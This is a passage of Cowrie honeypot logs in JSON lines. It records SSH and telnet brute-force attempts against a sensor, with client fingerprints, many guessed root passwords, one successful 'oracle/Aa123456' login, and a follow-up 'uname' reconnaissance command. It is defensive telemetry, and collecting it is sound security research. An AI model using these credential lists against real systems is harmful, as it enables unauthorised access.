f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:13.193529Z","src_ip":"43.134.228.151","session":"232128527db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:13.614822Z","src_ip":"31.40.204.166","session":"02c6b21e4d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ford","message":"login attempt [root/ford] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:14.150303Z","src_ip":"43.134.228.151","session":"232128527db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:15.385361Z","src_ip":"43.134.228.151","session":"232128527db4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.934250831604004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:16.965863Z","src_ip":"152.42.224.71","session":"d24dc571de67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":59502,"dst_ip":"159.203.135.109","dst_port":22,"session":"e31a841265ed","protocol":"ssh","message":"New connection: 103.27.238.120:59502 (159.203.135.109:22) [session: e31a841265ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:21.718683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:21.723541Z","src_ip":"103.27.238.120","session":"e31a841265ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:22.002863Z","src_ip":"103.27.238.120","session":"e31a841265ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"214365","message":"login attempt [root/214365] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:22.897816Z","src_ip":"103.27.238.120","session":"e31a841265ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.22722625732422,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:23.177747Z","src_ip":"152.42.224.71","session":"96dcf275f788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":55206,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed966a5f3989","protocol":"ssh","message":"New connection: 31.40.204.166:55206 (159.203.135.109:22) [session: ed966a5f3989]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:24.079668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:24.084701Z","src_ip":"31.40.204.166","session":"ed966a5f3989","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:24.182907Z","src_ip":"103.27.238.120","session":"e31a841265ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:24.214460Z","src_ip":"31.40.204.166","session":"ed966a5f3989","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:24.709375Z","src_ip":"31.40.204.166","session":"ed966a5f3989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56684,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5389edb537b","protocol":"telnet","message":"New connection: 152.42.224.71:56684 (10.17.0.5:23) [session: c5389edb537b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:25.508574Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:25.997730Z","src_ip":"31.40.204.166","session":"ed966a5f3989","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44682,"dst_ip":"10.17.0.5","dst_port":23,"session":"865fdab0fc67","protocol":"telnet","message":"New connection: 152.42.224.71:44682 (10.17.0.5:23) [session: 865fdab0fc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:26.994898Z"}
{"eventid":"cowrie.session.closed","duration":42.48840832710266,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:29.535705Z","src_ip":"152.42.224.71","session":"2a4960ee987a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97403335571289,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:32.033518Z","src_ip":"152.42.224.71","session":"cf5b10286aea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56706,"dst_ip":"159.203.135.109","dst_port":22,"session":"364919227f69","protocol":"ssh","message":"New connection: 31.40.204.166:56706 (159.203.135.109:22) [session: 364919227f69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:36.315816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:36.319995Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:36.693502Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Aa123456","message":"login attempt [oracle/Aa123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:37.113280Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:37.450389Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:37.453031Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:37.599360Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:37.604091Z","src_ip":"31.40.204.166","session":"364919227f69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51842,"dst_ip":"10.17.0.5","dst_port":23,"session":"2cdb666fbc29","protocol":"telnet","message":"New connection: 152.42.224.71:51842 (10.17.0.5:23) [session: 2cdb666fbc29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:38.236001Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":50848,"dst_ip":"159.203.135.109","dst_port":22,"session":"614d9563f836","protocol":"ssh","message":"New connection: 43.153.54.120:50848 (159.203.135.109:22) [session: 614d9563f836]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:38.241037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:38.245450Z","src_ip":"43.153.54.120","session":"614d9563f836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:38.312770Z","src_ip":"43.153.54.120","session":"614d9563f836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"774411","message":"login attempt [root/774411] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:38.616629Z","src_ip":"43.153.54.120","session":"614d9563f836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:39.687210Z","src_ip":"43.153.54.120","session":"614d9563f836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":42256,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3bab5e64c7e","protocol":"ssh","message":"New connection: 193.228.128.84:42256 (159.203.135.109:22) [session: c3bab5e64c7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:40.497105Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:40.504991Z","src_ip":"193.228.128.84","session":"c3bab5e64c7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:40.600209Z","src_ip":"193.228.128.84","session":"c3bab5e64c7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t123456","message":"login attempt [root/t123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:40.999468Z","src_ip":"193.228.128.84","session":"c3bab5e64c7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:42.103916Z","src_ip":"193.228.128.84","session":"c3bab5e64c7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43650,"dst_ip":"10.17.0.5","dst_port":23,"session":"c87c5227a869","protocol":"telnet","message":"New connection: 152.42.224.71:43650 (10.17.0.5:23) [session: c87c5227a869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:46.887783Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43742,"dst_ip":"159.203.135.109","dst_port":22,"session":"46c4d4e52bf0","protocol":"ssh","message":"New connection: 31.40.204.166:43742 (159.203.135.109:22) [session: 46c4d4e52bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:48.306796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:48.315114Z","src_ip":"31.40.204.166","session":"46c4d4e52bf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:48.501771Z","src_ip":"31.40.204.166","session":"46c4d4e52bf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:48.995842Z","src_ip":"31.40.204.166","session":"46c4d4e52bf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43652,"dst_ip":"10.17.0.5","dst_port":23,"session":"caf587190837","protocol":"telnet","message":"New connection: 152.42.224.71:43652 (10.17.0.5:23) [session: caf587190837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:49.999783Z"}
{"eventid":"cowrie.session.closed","duration":42.82265901565552,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:50.033180Z","src_ip":"152.42.224.71","session":"dc81ee5131ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:50.198157Z","src_ip":"31.40.204.166","session":"46c4d4e52bf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.0308780670166,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:51.352983Z","src_ip":"152.42.224.71","session":"d07e831d4cf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43654,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b43470cd65f","protocol":"telnet","message":"New connection: 152.42.224.71:43654 (10.17.0.5:23) [session: 5b43470cd65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:52.410608Z"}
{"eventid":"cowrie.session.closed","duration":27.41425848007202,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:52.922731Z","src_ip":"152.42.224.71","session":"c5389edb537b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.230.136.33","src_port":42898,"dst_ip":"159.203.135.109","dst_port":22,"session":"02f39315fffb","protocol":"ssh","message":"New connection: 94.230.136.33:42898 (159.203.135.109:22) [session: 02f39315fffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:55.018743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:21:55.030268Z","src_ip":"94.230.136.33","session":"02f39315fffb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-g